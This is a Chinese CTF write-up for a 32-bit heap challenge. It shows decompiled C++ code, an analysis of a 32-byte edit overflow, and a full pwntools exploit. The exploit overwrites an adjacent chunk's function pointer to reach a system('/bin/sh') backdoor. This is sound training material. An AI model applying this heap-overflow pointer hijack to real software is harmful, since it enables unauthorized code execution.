变种堆题
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
32 位,没开 PIE

奇怪的 menu 函数,ida 反编译失败,不过能看懂就行。
原程序显然是用 C++ 写的。
int __cdecl main(int a1)
{
int v1; // ebx
unsigned int i; // eax
int v3; // eax
int v4; // eax
int v5; // ebx
int v6; // eax
int v7; // eax
std::istream *v8; // eax
int v9; // eax
std::istream *v10; // eax
int v12; // [esp-8h] [ebp-70h]
int v13; // [esp-8h] [ebp-70h]
int v14; // [esp-8h] [ebp-70h]
int v15; // [esp-8h] [ebp-70h]
int v16; // [esp-4h] [ebp-6Ch]
int v17; // [esp-4h] [ebp-6Ch]
int v18; // [esp-4h] [ebp-6Ch]
int v19; // [esp-4h] [ebp-6Ch]
int current_index; // [esp+0h] [ebp-68h] BYREF
size_t n; // [esp+4h] [ebp-64h] BYREF
int op; // [esp+8h] [ebp-60h] BYREF
int chunk_n; // [esp+Ch] [ebp-5Ch]
int v24; // [esp+10h] [ebp-58h]
int v25; // [esp+14h] [ebp-54h]
int v26; // [esp+18h] [ebp-50h]
int v27; // [esp+1Ch] [ebp-4Ch]
int v28; // [esp+20h] [ebp-48h]
int v29; // [esp+24h] [ebp-44h]
int v30; // [esp+28h] [ebp-40h]
int v31; // [esp+2Ch] [ebp-3Ch]
int v32; // [esp+30h] [ebp-38h]
int v33; // [esp+34h] [ebp-34h]
int v34; // [esp+38h] [ebp-30h]
int src; // [esp+3Ch] [ebp-2Ch] BYREF
int v36; // [esp+40h] [ebp-28h]
int v37; // [esp+44h] [ebp-24h]
int v38; // [esp+48h] [ebp-20h]
int v39; // [esp+4Ch] [ebp-1Ch]
unsigned int v40; // [esp+5Ch] [ebp-Ch]
int *v41; // [esp+60h] [ebp-8h]
v41 = &a1;
v40 = __readgsdword(0x14u);
chunk_n = 0;
v24 = 10;
while ( 1 )
{
menu();
if ( chunk_n > 9 ) // 检查堆块数量
break;
std::istream::operator>>(&std::cin, &op); // 读入 op
if ( op == 2 ) // show content
{
std::operator<<<std::char_traits<char>>(
&std::cout,
"index: ",
v12,
v16,
current_index,
n,
2,
chunk_n,
v24,
v25,
v26,
v27,
v28,
v29,
v30,
v31,
v32,
v33,
v34,
src,
v36,
v37,
v38,
v39);
std::istream::operator>>(&std::cin, ¤t_index);
if ( current_index >= chunk_n ) // 输入的堆块编号大于已有堆块数
{
v4 = std::operator<<<std::char_traits<char>>(
&std::cout,
"the item does not exist.",
v13,
v17,
current_index,
n,
op,
chunk_n,
v24,
v25,
v26,
v27,
v28,
v29,
v30,
v31,
v32,
v33,
v34,
src,
v36,
v37,
v38,
v39);
std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
exit(0);
}
v5 = *(&v25 + current_index);
v6 = std::operator<<<std::char_traits<char>>(
&std::cout,
"gift: ", // 运行程序知:gift 是堆块地址
v13,
v17,
current_index,
n,
op,
chunk_n,
v24,
v25,
v26,
v27,
v28,
v29,
v30,
v31,
v32,
v33,
v34,
src,
v36,
v37,
v38,
v39);
v7 = std::ostream::operator<<(v6, v5);
std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);
sub_80489E8(*(&v25 + current_index));
}
else if ( op == 3 ) // edit content
{
std::operator<<<std::char_traits<char>>(
&std::cout,
"index: ",
v12,
v16,
current_index,
n,
3,
chunk_n,
v24,
v25,
v26,
v27,
v28,
v29,
v30,
v31,
v32,
v33,
v34,
src,
v36,
v37,
v38,
v39);
v8 = (std::istream *)std::istream::operator>>(&std::cin, ¤t_index);
std::istream::get(v8);
if ( current_index >= chunk_n )
{
v9 = std::operator<<<std::char_traits<char>>(
&std::cout,
"the item does not exist.",
v14,
v18,
current_index,
n,
op,
chunk_n,
v24,
v25,
v26,
v27,
v28,
v29,
v30,
v31,
v32,
v33,
v34,
src,
v36,
v37,
v38,
v39);
std::ostream::operator<<(v9, &std::endl<char,std::char_traits<char>>);
exit(0);
}
std::operator<<<std::char_traits<char>>(
&std::cout,
"len: ",
v14,
v18,
current_index,
n,
op,
chunk_n,
v24,
v25,
v26,
v27,
v28,
v29,
v30,
v31,
v32,
v33,
v34,
src,
v36,
v37,
v38,
v39);
v10 = (std::istream *)std::istream::operator>>(&std::cin, &n);// 读入edit内容的长度
std::istream::get(v10);
if ( (int)n > 40 )
{
std::operator<<<std::char_traits<char>>(
&std::cout,
"too big!\n", // >40 太长了
v15,
v19,
current_index,
n,
op,
chunk_n,
v24,
v25,
v26,
v27,
v28,
v29,
v30,
v31,
v32,
v33,
v34,
src,
v36,
v37,
v38,
v39);
exit(0);
}
std::operator<<<std::char_traits<char>>(
&std::cout,
"content: ",
v15,
v19,
current_index,
n,
op,
chunk_n,
v24,
v25,
v26,
v27,
v28,
v29,
v30,
v31,
v32,
v33,
v34,
src,
v36,
v37,
v38,
v39);
std::istream::getline((std::istream *)&std::cin, (char *)&src, 32);// 读入edit内容,漏洞点:这里允许读取32个字符(含末位\0)
edit(*(&v25 + current_index), &src, current_index, n);// 复制输入的内容到堆块中
(**(void (__cdecl ***)(_DWORD))*(&v25 + current_index))(*(&v25 + current_index));// 函数执行点位,只要让它能执行到backdoor函数就完事了
}
else
{
if ( op != 1 )
exit(0);
v1 = operator new(0x1Cu); // 分配 0x1c 字节的堆块(实际 0x2c)
for ( i = 0; i < 0x1C; i += 4 )
*(_DWORD *)(v1 + i) = 0; // 清空
sub_8048DFC(v1); // 堆块头部分指定为0x8048F48这个地址
v3 = chunk_n++; // 将chunk_n的当前值赋值给v3,然后将chunk_n递增
*(&v25 + v3) = v1; // v25是一个记录堆块地址的数组,先移动v3,再记录当前堆块的地址
std::operator<<<std::char_traits<char>>(
&std::cout,
"got new one!\n", // 添加新堆块
v12,
v16,
current_index,
n,
op,
chunk_n,
v24,
v25,
v26,
v27,
v28,
v29,
v30,
v31,
v32,
v33,
v34,
src,
v36,
v37,
v38,
v39);
}
}
std::operator<<<std::char_traits<char>>(
&std::cout,
"too much!!!\n",
v12,
v16,
current_index,
n,
op,
chunk_n,
v24,
v25,
v26,
v27,
v28,
v29,
v30,
v31,
v32,
v33,
v34,
src,
v36,
v37,
v38,
v39);
return 0;
}
C++ 反编译过来的代码看上去非常丑陋,但有用的就那么几句话。

shift + f12 看到 /bin/sh, 接着找到后门函数
int sub_80489CE()
{
return system("/bin/sh");
}
目标:通过堆溢出使指针指向后门函数从而获取 shell.
我们来分析一下这句话:
(**(void (__cdecl ***)(_DWORD))*(&v25 + current_index))(*(&v25 + current_index));
显然通过分析知道 (&v25 + current_index) 就是当前指定堆块的地址,我们把它暂且记为 addr。一个 * 就是一次解引用, (void (__cdecl ***)(_DWORD)) 做了一次强制类型转换,这里可以先忽视它。那么我们可以把上面这句话简化为:
(***addr)(*addr);
也就是调用以 addr 指向的值指向的值指向的值(乐)作为函数开始地址的函数,并且以 addr 所指向的值作为参数。
那么目标就是:1. 先在指定堆块的地址处填写一个地址 A(=*addr);2. 在 A 指向的地址处填写后门函数地址backdoor(=*A=**addr);3.调用 edit,触发这条语句(*backdoor()=***addr()),程序即会执行后门函数,获取shell.
因此我们需要搞个地方做中转,显然,我们已经知道堆块的地址,只需开两个堆块,在第一个堆块中填写后门地址,并篡改第二个堆块的内容(由于存在堆溢出漏洞我们可以在修改堆块1时修改到堆块2)使其 edit 时跳转到第一个堆块中存放后门地址的位置,这样就能执行到后门函数了。
from pwn import *
io = process('./note')
context.arch = 'i386'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
gdb.attach(io)
def cmd(idx):
io.sendlineafter(b"Choice>>", str(idx).encode())
def edit(idx, len, data):
cmd(3)
io.sendlineafter(b"index: ", str(idx).encode())
io.sendlineafter(b"len: ", str(len).encode())
io.sendlineafter(b'content: ', data)
def show(idx):
cmd(2)
io.sendlineafter(b"index: ", str(idx).encode())
backdoor = 0x80489CE
cmd(1)
cmd(1)
show(0)
io.recvuntil(b'gift: ')
chunk_addr = int(io.recvuntil(b'\n', drop=True), 16) # drop=True 代表不要包含 \n
# 注意:动调可知 gift 给的是堆块内容开始的地址,不是堆块头开始的地址;而 edit 开始的地址在"堆块内容地址 + 0x8"的位置
payload = flat(
backdoor,
b'a' * 0x14,
chunk_addr + 0x8
)
edit(0, 0x28, payload)
edit(1, 1, b'a')
io.interactive()